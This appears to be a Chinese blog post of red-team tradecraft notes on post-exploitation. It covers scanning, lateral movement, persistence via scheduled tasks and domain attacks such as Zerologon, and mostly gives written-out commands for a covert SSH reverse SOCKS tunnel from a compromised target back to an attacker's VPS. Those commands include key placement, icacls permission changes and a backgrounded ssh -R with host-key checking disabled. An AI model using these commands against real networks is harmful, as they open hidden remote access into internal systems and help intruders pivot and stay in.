OPSEC

OPSEC

1、gogo扫描

./gogo_darwin_amd64 -i ip -ev -p 1-20000 -t 100

在这里插入图片描述

内网渗透操作:
横向移动 维权 (计划任务)

权限提升?

在AD域内:浏览器密码很大程度上就是域密码

linux怎么找域
1.LDAP认证(389、636端口)
2.知道有域怎么打: a.有域凭据 impacket adexplorer 工具 b. 无凭据zerologon

ssh隧道反向SOCKS代理

通常会使用-R参数来开启远程转发,比如:

ssh -NR 1080:192.168.1.10:8000 root@39.39.39.39

把本机或者本机所在内网的某个端口转发到VPS的1080。

这里如果把 -R 参数之指定一个远程端口,就会让本机成为一个SOCKS代理服务器,比如:

ssh -NR 1080 root@39.39.39.39

这条命令默认会在VPS的127.0.0.1监听1080端口,通过1080即可访问目标192.168.1.10的内网。

设置监听到0.0.0.0

监听到127.0.0.1我们的攻击机不便于连接,有两种方法可以让他直接监听到0.0.0.0,

  1. 端口转发,使用SSH的-L,本地端口转发,或是其他端口转发工具,将1081端口的请求转发到1080
ssh -fCNL *:1081:localhost:1080 localhost
  1. 更改sshd_config文件的GatewayPorts配置。

GatewayPorts 配置选项用于控制 SSH 隧道(通常是端口转发)的行为,它决定了远程端口转发是否对除了本地主机之外的其他主机可见

  1. no:这是默认值。当设置为 no 时,远程端口转发只会监听本地接口(localhost 或 127.0.0.1),这意味着只有在服务器本机上才能访问转发的端口。
  2. yes:当设置为 yes 时,远程端口转发会监听所有接口,这意味着转发的端口可以被服务器上的任何接口上的任何主机访问,包括其他网络主机。这允许从服务器外部的主机连接到转发的端口。
  3. clientspecified:这是一个中间选项,它允许客户端在建立端口转发时指定监听地址。如果客户端指定了一个远程地址,那么端口转发将监听该指定的地址;如果客户端没有指定,那么就会回退到仅监听本地地址。

更改为yes或者clientspecified即可

其他准备

生成SSH密钥

ssh-keygen

cp id_rsa.pub authorized_keys

落地到目标机器的ssh私钥,因为windows权限问题可能会被服务端拒绝连接,需要修改权限

Icacls key.txt /Inheritance:r

Icacls key.txt /Grant:r "%Username%":"(R)"

最终,在目标机器执行下面命令即可

ssh -i id_rsa -p 22 -qngfNTR 6766 ubuntu@39.39.39.39 -o StrictHostKeyChecking=no

优化:将其写入配置文件直接执行:ssh -N -f -o StrictHostKeyChecking=no -F ~/ssconf D

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Bulldozer++

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值